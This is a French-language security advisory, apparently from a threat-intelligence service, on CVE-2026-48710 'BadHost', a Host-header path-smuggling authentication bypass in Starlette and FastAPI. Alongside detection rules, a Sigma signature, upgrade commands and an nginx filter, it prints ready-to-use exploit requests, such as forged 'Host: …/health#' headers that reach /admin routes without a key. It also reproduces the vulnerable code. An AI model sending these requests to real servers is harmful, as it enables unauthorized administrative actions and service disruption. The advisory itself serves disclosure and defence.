Aller au contenu

CVE-2026-48710 : BadHost — contrebande de chemin HTTP et contournement d'authentification dans starlette & FastAPI

HTS

HERMES THREAT SCORE & EXPLOITABILITÉ OPÉRATIONNELLE

Cible : Framework ASGI Starlette & Microservices FastAPI (≤ 1.0.0)
Confiance : 98%
92 / 100
ÉLEVÉ

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 20 / 20
Activité de menace 18 / 20
Militarisation 16 / 20
Exposition 18 / 20
Prévalence 15 / 20
Impact 5 / 20
⚖️ Divergence & Justification opérationnelle

Élevé à 92 HIGH par Hermes en raison de son adoption massive dans les passerelles d'inférence d'IA (vLLM, LiteLLM, serveurs d'agents), d'une exploitation active dans la nature et de son inclusion au catalogue CISA KEV (2 septembre 2026).

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-48710: Starlette & FastAPI BadHost Path Smuggling & Auth BypassVULNÉRABILITÉ

Nœuds connectés : 1
Relations sortantes actives
→ affectsCOMPOSANTStarlette / FastAPI ASGI Framework
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Starlette / FastAPI ASGI Framework documented in Hermes dossier.”

Preuves vérifiées associées :

Dans les architectures web asynchrones en Python, la spécification ASGI (Asynchronous Server Gateway Interface) orchestre les échanges entre le serveur HTTP (Uvicorn, Hypercorn, Granian) et le framework applicatif (Starlette, FastAPI) :

Désynchronisation entre le Scope ASGI et Starlette request.url (« BadHost ») :
L'Attaquant Soumet une Requête Forgée :
GET /admin/models/delete HTTP/1.1
Host: api.cible.corp/public#
│
▼
[Serveur ASGI : Uvicorn / Hypercorn]
Découpage standard du paquet HTTP en dictionnaire de scope ASGI :
scope = {
"type": "http",
"path": "/admin/models/delete", <── Chemin Réel d'Exécution
"headers": [(b"host", b"api.cible.corp/public#")]
}
│
▼
[Couche Applicative Starlette : request.py]
Reconstruction de l'objet `request.url` par interpolation brute de chaînes :
url = f"{scheme}://{host}{root_path}{path}"
url = "https://" + "api.cible.corp/public#" + "" + "/admin/models/delete"
│
▼
[Analyseur de la Bibliothèque Standard urllib.parse.urlsplit(url)]
Interprète `#` comme délimiteur de fragment ou `/` comme délimiteur de chemin :
• scheme : "https"
• netloc : "api.cible.corp"
• path : "/public" <── CHEMIN ÉVALUÉ TRONQUÉ
• fragment : "/admin/models/delete"
│
▼
Évaluation par le Middleware de Sécurité :
┌────────────────────────────────────────────────────────────────────────┐
│ Middleware d'Auth : `if request.url.path.startswith("/admin"): exiger_cle()`│
│ Évaluation : `request.url.path` == "/public" -> AUTORISÉ (SANS AUTH) │
└────────────────────────────────────────────────────────────────────────┘
│
▼
Exécution par le Routeur ASGI Sous-Jacent :
Le routeur utilise `scope["path"]` -> Exécute `/admin/models/delete`

Dans les versions de Starlette antérieures à la 1.0.1, la propriété Request.url dans starlette/datastructures.py reconstruisait l’URL absolue en lisant directement l’en-tête client :

# Code vulnérable dans Starlette <= 1.0.0
@property
def url(self) -> URL:
if not hasattr(self, "_url"):
host_header = self.headers.get("host")
if host_header:
url = f"{self.scope['scheme']}://{host_header}{self.scope['path']}"
else:
server = self.scope.get("server")
url = f"{self.scope['scheme']}://{server[0]}:{server[1]}{self.scope['path']}"
self._url = URL(url)
return self._url

L’en-tête host_header était inséré sans aucune validation de conformité avec la grammaire RFC 9112 (Syntaxe Host HTTP/1.1) ou RFC 3986 (Composants d’Autorité URI).

Lorsqu’un attaquant transmet un en-tête contenant des caractères /, ? ou # (comme Host: exemple.com/public? ou Host: exemple.com/docs#), l’analyseur urllib.parse.urlsplit() redéfinit les limites de l’URL. Le véritable chemin sollicité (/admin/private) est relégué dans les paramètres de requête ou dans le fragment d’ancre, tandis que request.url.path ne reflète que le préfixe factice injecté (/public).

Puisque les middlewares (décorateurs d’authentification FastAPI, filtres RBAC) examinent request.url.path, alors que le moteur de routage interne de Starlette distribue la requête selon le chemin brut scope["path"], les deux mécanismes se désynchronisent complètement.

Mécanique d’exploitation & scénarios d’attaque

Section intitulée « Mécanique d’exploitation & scénarios d’attaque »

L’exploitation s’opère par simple émission d’une requête HTTP sans nécessiter de jeton préalable :

1. Contournement de contrôle d’accès d’administration

Section intitulée « 1. Contournement de contrôle d’accès d’administration »

Considérons un microservice FastAPI protégeant une route d’administration d’un modèle d’IA :

@app.middleware("http")
async def verify_admin_token(request: Request, call_next):
# Contrôle de sécurité basé sur request.url.path
if request.url.path.startswith("/admin"):
token = request.headers.get("X-Admin-Key")
if token != "CLE_SECRETE_PRODUCTION":
return Response(status_code=403, content="Interdit")
return await call_next(request)
@app.post("/admin/models/unload")
def unload_model(name: str):
return {"status": "modèle déchargé", "target": name}

L’attaquant transmet une requête HTTP/1.1 manipulant l’en-tête Host :

POST /admin/models/unload?name=llama3-70b HTTP/1.1
Host: passerelle-ia.corp/health#
User-Agent: Mozilla/5.0
Content-Type: application/json
{}

Déroulement de l’attaque :

  1. Starlette reconstruit : https://passerelle-ia.corp/health#/admin/models/unload?name=llama3-70b.
  2. request.url.path vaut strictement "/health".
  3. Le middleware vérifie "/health".startswith("/admin") -> Faux. Le contrôle de sécurité est contourné.
  4. Le routeur ASGI prend le relais, consulte scope["path"] (/admin/models/unload), et exécute la fonction administrative.
  5. Le modèle est déchargé de la mémoire GPU sans aucune clé d’administration.

2. Impact sur les passerelles d’agents et serveurs d’inférence

Section intitulée « 2. Impact sur les passerelles d’agents et serveurs d’inférence »
  • Extraction d’instructions système et RAG : contournement des filtres sur /admin/prompts ou /api/v1/tools, exposant les bases vectorielles et les prompts système propriétaires.
  • Déni de service GPU : déclenchement d’opérations lourdes de régénération ou de changement de modèles sans authentification ni limitation de débit (rate limiting).
  • Rupture d’isolation multi-tenant : dans les architectures SaaS segmentant les clients par chemin d’URL (/tenants/{id}/...), manipulation des requêtes pour accéder aux contextes d’entreprises tierces.

Les équipes DFIR doivent analyser les artefacts suivants :

1. Télémétrie des proxys et pare-feu applicatifs (WAF)

Section intitulée « 1. Télémétrie des proxys et pare-feu applicatifs (WAF) »
  • Délimiteurs illégaux dans le champ host : requêtes HTTP dont l’en-tête Host contient les caractères /, ?, # ou @ :
    GET /admin/keys HTTP/1.1 | Host: 10.0.4.12/public# | Statut: 200
  • Anomalies de statut : requêtes ciblant des routes d’administration renvoyant 200 OK depuis des adresses IP n’ayant jamais initié de flux d’authentification OAuth2 ou d’échange de clé API.
title: En-Tête HTTP Host Malformé Contenant des Délimiteurs d'URL (CVE-2026-48710 BadHost)
id: 48710b01-4f10-4e2b-a487-100000048710
status: experimental
description: Détecte les requêtes HTTP portant des caractères illégaux (/ ? # @) dans l'en-tête Host, caractéristiques de l'exploitation de la contrebande de chemin CVE-2026-48710 dans Starlette/FastAPI.
references:
- https://github.com/encode/starlette/security/advisories/GHSA-7488-6r32-c95q
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
author: Hermes Codex CTI
date: 2026-09-08
logsource:
category: webserver
product: web_proxy
detection:
selection_host:
cs-header_host|re: '.*[\/\?\#\@].*'
condition: selection_host
falsepositives:
- Outils internes très anciens non conformes aux RFC (très rare en exposition publique).
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2026.48710

Mettre à niveau l’ensemble des environnements Python vers Starlette 1.0.1 ou supérieure :

Fenêtre de terminal
# Vérifier la version installée
pip show starlette
# Appliquer le correctif officiel
pip install --upgrade "starlette>=1.0.1"
# Mettre à jour les dépendances FastAPI
pip install --upgrade "fastapi>=0.115.0"

Dans Starlette 1.0.1, Request.url valide strictement la syntaxe de l’en-tête Host. En cas d’anomalie, le framework se replie sur le tuple d’écoute réseau sécurisé du serveur (scope["server"]).

2. Filtrage au niveau du reverse-proxy (patch virtuel)

Section intitulée « 2. Filtrage au niveau du reverse-proxy (patch virtuel) »

Rejeter immédiatement les requêtes malformées au niveau d’Ingress ou de Nginx :

# Règle de filtrage préventive Nginx
if ($http_host ~* "[\/\?\#\@]") {
return 400 "Bad Request - En-tete Host Invalide";
}